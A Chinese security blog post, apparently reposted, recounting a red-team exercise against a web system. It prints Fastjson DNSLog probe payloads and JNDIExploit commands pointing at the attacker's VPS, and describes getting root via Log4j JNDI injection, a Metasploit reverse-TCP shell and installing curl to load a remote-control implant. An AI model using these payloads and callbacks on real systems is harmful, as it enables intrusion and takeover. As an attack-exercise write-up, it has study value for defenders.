实战攻防:记一次艰难的攻防演练打点过程

admin 2023年10月18日00:30:44评论17 views字数 2537阅读8分27秒阅读模式

免责声明

由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。LK安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

前言
在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。
过程
前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL进行指纹识别,虽然发现了几个存在指纹的系统,但后续渗透发现漏洞已无法利用,漏洞已修。最后老实本分对其他Web系统进行渗透,寻找突破口。
01 前后端分离架构
前后端分离的开发架构已然成为互联网项目开发的主流模式,通过nginx+tomcat(中间加Node.js)来进行解耦,是未来的大型分布式架构、弹性计算架构、微服务架构和多端化服务的基础。
·前端:负责View和Controller层
·后端:负责Model层,进行业务/数据处理
JAVA 更适合做 Model 层、持久层的业务,引入Node.js可进行Controller层的处理。Node.js作为桥梁架接服务端API输出的JSON数据。

实战攻防:记一次艰难的攻防演练打点过程

02 WebPack资源管理

WebPack本身作为一个资源管理和打包构建工作,其强大之处在于各种静态资源的依赖分析和预编译。经过WebPack编译后得到各种静态资源,通常生成dist文件夹,保存各种静态文件。其结构大致如下:

实战攻防:记一次艰难的攻防演练打点过程

而app.js文件通常包含了各类前端路由或者后端API接口,是我们渗透前后端系统的突破口。当然不仅仅只是app.js中会存在。
03 发现指纹Fastjson
使用burp插件,可自动从js中爬取前端路由或者后端API接口
当获取到后端API接口时,使用burp的Intruder模块对所有接口发送GET和POST请求,POST请求时可以构造json请求体发送。
部分接口进行GET请求时,后端返回缺失某参数,此时可构造该参数并进行SQL注入等漏洞利用。
此时从报错信息中发现某个接口使用Fastjson组件

实战攻防:记一次艰难的攻防演练打点过程

于是利用DNS探测判断Fastjson版本

Fastjson < 1.2.43

{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

Fastjson < 1.2.48

{"@type":"java.net.InetAddress","val":"dnslog"}

Fastjson < 1.2.68

{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
{{"@type":"java.net.URL","val":"http://dnslog"}:0}

未发现DNSLog回显

04 发现log4j漏洞

字段Content-Type存在dnslog回显,先试试dns协议进行dnslog探测

实战攻防:记一次艰难的攻防演练打点过程

可探测java版本,1.8.0_171版本

实战攻防:记一次艰难的攻防演练打点过程

使用ldap协议进行dnslog探测

实战攻防:记一次艰难的攻防演练打点过程

可探测服务器类型,Linux系统

实战攻防:记一次艰难的攻防演练打点过程

可进行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar

查看使用方式
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

实战攻防:记一次艰难的攻防演练打点过程

使用TomcatEcho链执行命令并回显
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip

实战攻防:记一次艰难的攻防演练打点过程

发送cmd命令请求

实战攻防:记一次艰难的攻防演练打点过程

成功执行命令并回显,root权限

此时获取命令执行权限,如何进行权限维持?获取一个稳定的shell

05 权限维持

1)执行命令,直接反弹shell

2)执行命令,写入webshell

3)jndi注入工具支持打入内存马

4)jndi注入工具1.4版本新增支持上线msf

第一种尝试:执行bash、sh命令反弹shell,存在ldap请求,但反弹命令未执行成功;

第二种尝试:通过pwd、ls命令进行Web系统目录,发现服务由jar起的,写入webshell文件无法利用;

第三种尝试:VPS收到打入内存马的ldap请求,但访问内存马路径时显示404;

第四种尝试:使用tomcatBypass路由上线msf成功

实战攻防:记一次艰难的攻防演练打点过程

msf开启监听,使用payload:java/meterpreter/reverse_tcp

实战攻防:记一次艰难的攻防演练打点过程

设置LHOST、LPORT,执行run开启监听

实战攻防:记一次艰难的攻防演练打点过程

发送ldap请求,请求tomcatBypass路由,IP是VPS的IP,PORT是msf监听的端口

实战攻防:记一次艰难的攻防演练打点过程

上线msf,得到稳定式shell

实战攻防:记一次艰难的攻防演练打点过程

得到shell,但无法进行直观目录浏览,而且shell是交互式shell,有没有更好的远控方式呢?

06 上线远控

在本公众号前面发过的文章中提到一款远控平台,自带某厂商证书,为免杀工作省去大量功夫。但上线命令需要使用curl命令,然而该机器上并没有curl命令。

没有curl,但有wget,可不可以使用wget替换curl,询问下chatgpt

实战攻防:记一次艰难的攻防演练打点过程

答案是存在可替换的,但却达不到我们的效果

于是安装curl命令,但yum、apt-get等命令也没有

实战攻防:记一次艰难的攻防演练打点过程

很奇怪的一个系统,大概率是个阉割版的docker容器,先看下系统版本类型

实战攻防:记一次艰难的攻防演练打点过程

cat /etc/os-release

实战攻防:记一次艰难的攻防演练打点过程

这种系统内核,百度下

实战攻防:记一次艰难的攻防演练打点过程

是个docker无疑了,询问chatgpt该内核的系统如何下载curl

实战攻防:记一次艰难的攻防演练打点过程

Apline Linux内核使用轻量级的apk包管理工具来管理软件包。执行一键安装命令,等待安装过程

实战攻防:记一次艰难的攻防演练打点过程

安装完成,接下来使用curl命令一键上线远控。

总结

命令执行无法反弹shell或许是防护设备拦截所致。

原文链接 https://www.freebuf.com/articles/web/379216.html

原文始发于微信公众号(LK安全):实战攻防:记一次艰难的攻防演练打点过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月18日00:30:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战攻防:记一次艰难的攻防演练打点过程https://cn-sec.com/archives/2119305.html

发表评论

匿名网友 填写信息